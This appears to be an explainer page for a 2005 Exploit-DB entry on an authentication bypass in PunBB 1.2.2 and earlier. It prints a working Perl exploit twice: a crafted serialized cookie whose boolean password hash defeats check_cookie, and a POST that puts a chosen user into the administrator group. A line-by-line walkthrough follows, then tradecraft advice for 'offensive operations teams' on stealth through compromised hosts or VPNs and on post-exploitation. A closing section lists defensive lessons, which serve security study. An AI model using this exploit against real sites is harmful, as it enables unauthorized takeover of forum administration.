PunBB 1.2.2 Authentication Bypass Exploit Explained

PunBB 1.2.2 Authentication Bypass Exploit Explained
What this paper is
This paper details a vulnerability in PunBB versions up to and including 1.2.2 that allows an attacker to bypass authentication and gain administrative privileges for a specified user. The exploit leverages a flaw in how the application handles user cookies, specifically the check_cookie function. The provided Perl script automates the exploitation process.
Simple technical breakdown
The core of the vulnerability lies in the check_cookie function within /include/functions.php. This function deserializes a cookie named punbb_cookie. If the cookie is present and contains a user ID greater than 1, the application attempts to verify the user's identity by querying the database and comparing a hashed password.
The flaw is that the deserialization process, when encountering a boolean value for the password hash, can be manipulated. By crafting a specific serialized string for the punbb_cookie, an attacker can trick the application into believing a user has a valid password hash, even if they don't. This allows an attacker to log in as any user ID they specify, potentially granting them administrative rights if that user ID is associated with an administrator.
The exploit works by sending a crafted cookie to the server. This cookie contains a serialized PHP data structure that represents a user ID and a boolean value (which the script sets to b:1;). When the check_cookie function processes this, the boolean b:1; is interpreted in a way that bypasses the password hash check, effectively authenticating the user with the specified ID.
The script then sends a POST request to the profile update section, targeting a specific user ID with administrative privileges, and effectively assigns the target user ID to an administrative group.
Complete code and payload walkthrough
The provided Perl script automates the authentication bypass and privilege escalation. Let's break down its components.
#!/usr/bin/perl
use IO::Socket;
# ... (comments explaining the vulnerability and fix) ...
$server = $ARGV[0];
$folder = $ARGV[1];
$admin_uid = $ARGV[2];
$user_uid = $ARGV[3];
$suc = 0;
if (@ARGV < 4 || $admin_uid =~ /[^\d]/ || $user_uid =~ /[^\d]/)
{
print q{
PunBB version <= 1.2.2 auth bypass exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
usage: r57punbb.pl [host] [/folder/] [admin_id] [user_id]
[host] - hostname where punbb installed
[/folder/] - folder where punbb installed
[admin_id] - id of user who have admin rights
[user_id] - user with this id get admin level after
success exploiting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
r57 private code // rst.void.ru
};
exit();
}
$server =~ s/^((?:http:\/\/)*)([^\/]*)(\/*)$/$2/;
$str = 'Group membership saved';
$cook = 'a:2:{i:0;s:'.length($admin_uid).':"'.$admin_uid.'";i:1;b:1;}';
$data = 'form_sent=1&group_id=1&update_group_membership=Save';
$cook =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!";
print $socket "POST ${folder}profile.php?section=admin&id=$user_uid&action=foo HTTP/1.0\n";
print $socket "Host: $server\n";
print $socket "Referer: http://$server${folder}profile.php?section=admin&id=$user_uid\n";
print $socket "Cookie: punbb_cookie=$cook\n";
print $socket "Content-Type: application/x-www-form-urlencoded\n";
print $socket "Content-Length: ".length($data)."\n\n";
print $socket "$data\n\n";
while(<$socket>){ if(/$str/) { $suc = 1; last; } }
($suc)?(print "+ Exploit success!\n+ $str!\n+ Now user with id=$user_uid have admin level!\n")
:(print "- Exploit failed\n")| Code Fragment/Block | Practical Purpose |
|---|---|
#!/usr/bin/perl |
Shebang line, indicates the script should be executed with Perl. |
use IO::Socket; |
Imports the IO::Socket module, which is necessary for network communication (creating sockets). |
$server = $ARGV[0]; |
Assigns the first command-line argument (the target hostname) to the $server variable. |
$folder = $ARGV[1]; |
Assigns the second command-line argument (the PunBB installation path) to the $folder variable. |
$admin_uid = $ARGV[2]; |
Assigns the third command-line argument (the user ID of an existing administrator) to $admin_uid. This user's credentials will be used to perform the group membership update. |
$user_uid = $ARGV[3]; |
Assigns the fourth command-line argument (the user ID of the target user to gain admin privileges) to $user_uid. |
$suc = 0; |
Initializes a success flag to 0. This will be set to 1 if the exploit is successful. |
| `if (@ARGV < 4 | |
print q{ ... }; exit(); |
Prints the usage message and terminates the script if the arguments are invalid. |
$server =~ s/^((?:http:\/\/)*)([^\/]*)(\/*)$/$2/; |
Cleans up the $server variable by removing any leading http:// and trailing slashes, ensuring it's just the hostname. |
$str = 'Group membership saved'; |
Defines a string to look for in the server's response to confirm successful operation. |
$cook = 'a:2:{i:0;s:'.length($admin_uid).':"'.$admin_uid.'";i:1;b:1;}'; |
This is the core of the exploit payload. It constructs a PHP serialized string. |
* `a:2:`: Indicates an array with 2 elements.
* `i:0;`: The first element is an integer (index 0).
* `s:'.length($admin_uid).':"'.$admin_uid.'"';`: The second part of the first element is a string. Its length is dynamically calculated based on `$admin_uid`, and its value is the `$admin_uid` itself. This is the user ID that the `check_cookie` function will attempt to authenticate.
* `i:1;`: The second element is an integer (index 1).
* `b:1;`: The value of the second element is a boolean `true` (represented as `1`). This is the critical part that bypasses the password hash check in the vulnerable `check_cookie` function. The original code expected a string hash, but `b:1;` is interpreted differently, leading to the bypass.$data = 'form_sent=1&group_id=1&update_group_membership=Save'; | This is the POST data sent to the profile update script. It attempts to save group membership, setting the group_id to 1 (which is typically the administrator group in PunBB).$cook =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; | This line URL-encodes the crafted cookie string. It iterates through each character (.), converts it to its ASCII ordinal value (ord($1)), formats it as a two-digit hexadecimal string (sprintf("%2.2x", ...)), converts it to uppercase (uc(...)), and prepends a %. This prepares the cookie for transmission over HTTP.$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!"; | Creates a new TCP socket connection to the target server on port 80 (HTTP). If the connection fails, it prints an error and exits.print $socket "POST ${folder}profile.php?section=admin&id=$user_uid&action=foo HTTP/1.0\n"; | Sends the HTTP POST request line.
* POST: The HTTP method.
* ${folder}profile.php: The target script.
* ?section=admin&id=$user_uid&action=foo: Query parameters. section=admin and action=foo are likely used to trigger the administrative profile editing functionality. The id=$user_uid parameter is crucial here; it tells the server which user's profile to modify.
* HTTP/1.0: The HTTP protocol version.print $socket "Host: $server\n"; | Sets the Host header, which is required for virtual hosting.print $socket "Referer: http://$server${folder}profile.php?section=admin&id=$user_uid\n"; | Sets the Referer header. This is often used by web applications to track navigation and can sometimes be a factor in security checks, though likely not critical for this exploit.print $socket "Cookie: punbb_cookie=$cook\n"; | Sends the crafted, URL-encoded cookie. This is the primary mechanism for the authentication bypass.print $socket "Content-Type: application/x-www-form-urlencoded\n"; | Specifies the MIME type of the POST data.print $socket "Content-Length: ".length($data)."\n\n"; | Sets the Content-Length header, indicating the size of the POST data. The double newline \n\n separates headers from the body.print $socket "$data\n\n"; | Sends the actual POST data.while(<$socket>){ if(/$str/) { $suc = 1; last; } } | Reads the response from the server line by line. If the string $str ('Group membership saved') is found, it sets the success flag $suc to 1 and breaks out of the loop.($suc)?(print "+ Exploit success!\n+ $str!\n+ Now user with id=$user_uid have admin level!\n") :(print "- Exploit failed\n") | Based on the $suc flag, prints a success or failure message.
| Payload/Shellcode Segment | Purpose |
|---|---|
a:2:{i:0;s:'.length($admin_uid).':"'.$admin_uid.'";i:1;b:1;} (before URL encoding) |
This is the PHP serialized string that forms the malicious punbb_cookie. It's designed to be deserialized by the vulnerable check_cookie function. The key elements are: |
* `i:0;s:'.length($admin_uid).':"'.$admin_uid.'";`: This part attempts to set the user ID. The `check_cookie` function expects the first element of the deserialized array to be the user ID. By providing the `$admin_uid` here, the exploit attempts to impersonate an administrator for the initial cookie check.
* `i:1;b:1;`: This is the critical part. It represents the second element of the array as a boolean value `true`. In the vulnerable version of `check_cookie`, when this boolean is encountered in the deserialized cookie, the subsequent password hash comparison `md5($cookie_seed.$pun_user['password']) != $cookie['password_hash']` fails or is bypassed because the comparison logic doesn't correctly handle boolean types for the hash. This allows the script to proceed as if authenticated with the user ID specified in the first element.form_sent=1&group_id=1&update_group_membership=Save | This is the POST data sent to profile.php. It's designed to trigger the functionality that updates a user's group membership.
* group_id=1: This parameter attempts to assign the user ($user_uid) to group ID 1. In PunBB, group ID 1 is typically the administrator group.
* update_group_membership=Save: This acts as a submit button value, indicating that the user wants to save their group membership changes.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No prior authentication is required to initiate the exploit, as it targets the authentication mechanism itself.
- Lab Preconditions:
- A target PunBB installation (version <= 1.2.2) accessible over the network.
- Knowledge of the target server's hostname/IP address and the path to the PunBB installation (e.g.,
/forum/). - Knowledge of a valid administrator's User ID (
admin_uid) on the target installation. This is crucial because the exploit uses the context of an authenticated administrator to perform the group membership update for the target user. The exploit doesn't directly bypass the admin's authentication; it bypasses the initial authentication for any user, and then uses an existing admin's session context (implicitly, by sending the POST request to the admin section) to modify the target user's group. - The target user ID (
user_uid) that you wish to grant administrative privileges to.
- Tooling Assumptions:
- Perl interpreter installed on the operator's machine.
- Basic network connectivity.
- Execution Pitfalls:
- Version Mismatch: The exploit is specific to PunBB versions <= 1.2.2. Newer versions will not be vulnerable.
- Incorrect Path/Hostname: Errors in the
$serveror$folderarguments will lead to connection failures or requests to the wrong location. - Invalid Admin/User IDs: If
$admin_uidor$user_uidare not valid numeric IDs, or if$admin_uiddoes not belong to an actual administrator, the exploit might fail or behave unexpectedly. The exploit relies on the$admin_uidbeing associated with an account that has the ability to modify group memberships. - Firewall/WAF Blocking: Network firewalls or Web Application Firewalls (WAFs) might detect and block the unusual POST request or the crafted cookie.
- Response Parsing: The exploit relies on finding the specific string "Group membership saved" in the response. If the application's output changes or if there are other messages containing this string, it could lead to false positives or negatives.
- Session Management: If the target PunBB installation has very strict session validation or rate limiting, repeated attempts might be detected.
- Cookie Name: The exploit assumes the cookie name is
punbb_cookie. If this has been changed in the PunBB configuration, the exploit will fail.
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the PunBB version and confirm the presence of the vulnerability before attempting exploitation.
- Stealth: While the exploit itself is a direct request, consider the network path and any logging that might occur. Using a compromised host or VPN can add layers of obfuscation.
- Payload Delivery: The script is executed locally and makes direct network calls. It doesn't involve uploading files or executing code on the target.
- Post-Exploitation: Once administrative privileges are gained for
$user_uid, the operator can proceed with further actions within the PunBB administration panel.
Where this was used and when
This exploit was published in March 2005. At that time, PunBB was a popular, lightweight forum software. Exploits of this nature were common against web applications, especially those with less mature security practices or older codebases. It's likely this vulnerability was exploited in the wild against websites running the affected versions of PunBB shortly after its discovery or publication. The author's affiliation with "r57" suggests it was part of a wave of web application exploits emerging from that community around that period.
Defensive lessons for modern teams
- Input Validation & Sanitization: Always validate and sanitize all user-supplied input, especially data that is used in database queries or deserialization processes.
- Secure Cookie Handling:
- Never rely solely on cookie data for authentication or authorization without server-side verification.
- Be cautious with deserialization functions. Ensure that only trusted data structures are deserialized and that the deserialized data is validated before use.
- Use strong, unpredictable session IDs and regenerate them frequently.
- Secure Coding Practices:
- Understand the implications of data types in comparisons. The fix mentioned in the paper (
!==vs!=) highlights the importance of strict type checking. - Regularly review and audit code for common vulnerabilities like injection, cross-site scripting (XSS), and authentication bypasses.
- Understand the implications of data types in comparisons. The fix mentioned in the paper (
- Dependency Management: Keep all software, including web applications and their underlying frameworks/libraries, updated to the latest secure versions.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block known malicious patterns in requests.
- Security Audits & Penetration Testing: Proactively identify vulnerabilities through regular security assessments.
ASCII visual (if applicable)
This exploit doesn't lend itself to a complex architectural diagram. It's a direct manipulation of HTTP requests and server-side cookie processing. However, we can visualize the flow of the malicious cookie:
+-----------------+ +--------------------+ +---------------------+
| Attacker's | ----> | Malicious HTTP | ----> | PunBB Server |
| Machine | | Request (POST) | | (Vulnerable Version)|
+-----------------+ | - Crafted Cookie | | |
| - POST Data | | 1. Receives Request |
+--------------------+ | 2. check_cookie() |
| - Deserializes |
| cookie |
| - Auth Bypass |
| 3. profile.php |
| - Updates group |
| membership |
+---------------------+
|
v
+---------------------+
| Target User |
| (Now Admin) |
+---------------------+Source references
- Paper ID: 901
- Paper Title: PunBB 1.2.2 - Authentication Bypass
- Author: RusH
- Published: 2005-03-29
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/901
- Raw URL: https://www.exploit-db.com/raw/901
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
use IO::Socket;
#
# PunBB version <= 1.2.2 auth bypass exploit
#
# -------------------------------------------------
# About vuln:
# lets look file /include/functions.php
# ### code start ###
# function check_cookie(&$pun_user)
# {
# ...
# if (isset($_COOKIE[$cookie_name]))
# list($cookie['user_id'], $cookie['password_hash']) = @unserialize($_COOKIE[$cookie_name]);
#
# if ($cookie['user_id'] > 1)
# {
# // Check if there's a user with the user ID and password hash from the cookie
# $result = $db->query('SELECT .... tra-la-la... );
# $pun_user = $db->fetch_assoc($result);
#
# // If user authorisation failed
# if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) != $cookie['password_hash'])
# ... ^^^ HERE !!!
# ### code end ###
# and we can logging with any user id if we use boolean value in cookie password_hash
# evil cookie is : a:2:{i:0;s:1:"2";i:1;b:1;} where 2 is user id
#
# fix:
# if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) != $cookie['password_hash'])
# change to
# if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) !== $cookie['password_hash'])
# -------------------------------------------------
# (c)oded by 1dt.w0lf // 09.03.2005 // r57 // www.rst.void.ru
# -------------------------------------------------
# example:
# r57punbb.pl nerf.ru /forum/ 2 47
# + Exploit success!
# + Group membership saved!
# + Now user with id=47 have admin level!
# ja-ja-ja dast ist fantastish =)
# ------------------------------------------------
$server = $ARGV[0];
$folder = $ARGV[1];
$admin_uid = $ARGV[2];
$user_uid = $ARGV[3];
$suc = 0;
if (@ARGV < 4 || $admin_uid =~ /[^\d]/ || $user_uid =~ /[^\d]/)
{
print q{
PunBB version <= 1.2.2 auth bypass exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
usage: r57punbb.pl [host] [/folder/] [admin_id] [user_id]
[host] - hostname where punbb installed
[/folder/] - folder where punbb installed
[admin_id] - id of user who have admin rights
[user_id] - user with this id get admin level after
success exploiting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
r57 private code // rst.void.ru
};
exit();
}
$server =~ s/^((?:http:\/\/)*)([^\/]*)(\/*)$/$2/;
$str = 'Group membership saved';
$cook = 'a:2:{i:0;s:'.length($admin_uid).':"'.$admin_uid.'";i:1;b:1;}';
$data = 'form_sent=1&group_id=1&update_group_membership=Save';
$cook =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "$socket error $!";
print $socket "POST ${folder}profile.php?section=admin&id=$user_uid&action=foo HTTP/1.0\n";
print $socket "Host: $server\n";
print $socket "Referer: http://$server${folder}profile.php?section=admin&id=$user_uid\n";
print $socket "Cookie: punbb_cookie=$cook\n";
print $socket "Content-Type: application/x-www-form-urlencoded\n";
print $socket "Content-Length: ".length($data)."\n\n";
print $socket "$data\n\n";
while(<$socket>){ if(/$str/) { $suc = 1; last; } }
($suc)?(print "+ Exploit success!\n+ $str!\n+ Now user with id=$user_uid have admin level!\n")
:(print "- Exploit failed\n")
#--- EOF ---
# milw0rm.com [2005-03-29]